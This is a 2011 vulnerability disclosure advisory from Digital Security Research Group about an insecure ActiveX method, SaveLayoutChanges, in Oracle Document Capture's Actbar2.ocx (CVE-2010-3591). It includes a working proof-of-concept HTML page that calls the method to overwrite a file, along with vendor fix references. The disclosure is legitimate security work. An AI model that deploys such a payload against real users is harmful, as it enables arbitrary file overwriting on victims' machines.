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[DSECRG-00153] Oracle Document Capture Actbar2.ocx - insecure method

ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory #DSECRG-00153



Application:            Oracle Document Capture
Versions Affected:      Release 10gR3
Vendor URL:             www.oracle.com
Bugs:                   insecure method, File overwriting
Exploits:               YES
Reported:               22.03.2010
Vendor response:        31.03.2010
Date of Public Advisory:24.01.2011
CVE-number:             CVE-2010-3591
Author:                 Evdokimov Dmitriy from Digital Security Research Group 
[DSecRG] (research [at] dsecrg [dot] com)



Description
***********

Oracle Document Capture contains ActiveX components that contains insecure 
methods.

Insecure method in Actbar2.ocx


Details
*******

Oracle Document Capture contains ActiveX component ActiveBar2Library 
(Actbar2.ocx) Lib GUID: {4932CEF1-2CAA-11D2-A165-0060081C43D9}

which is contains insecure method "SaveLayoutChanges" that can overwrite any 
unhidden file in system. 

Class ActiveBar2
GUID: {4932CEF4-2CAA-11D2-A165-0060081C43D9}
Number of Interfaces: 1
Default Interface: IActiveBar2
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False



Exploit
*******

Attacker can construct html page which call vulnerable function 
"SaveLayoutChanges" from ActiveX component Actbar2.ocx

Example:

<HTML>
         <HEAD>
         <TITLE>DSecRG</TITLE>
         </HEAD>
         <BODY>
         
         <OBJECT id='eds' 
classid='clsid:4932CEF4-2CAA-11D2-A165-0060081C43D9'></OBJECT>
 
         <SCRIPT>
                 
         function Exploit(){
                 eds.SaveLayoutChanges("C:\\31337.txt",1);             
         }
         Exploit();
 
         </SCRIPT>
</BODY>
</HTML>



References
**********

http://dsecrg.com/pages/vul/show.php?id=304
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html




Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from: 

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html


About
*****

Digital Security: 

Is one of the leading IT security companies in CEMEA, providing information 
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software. DSecRG developed new product "ERPSCAN security suite for SAP 
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Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com





Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: a.polyakov@xxxxxxx  

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru


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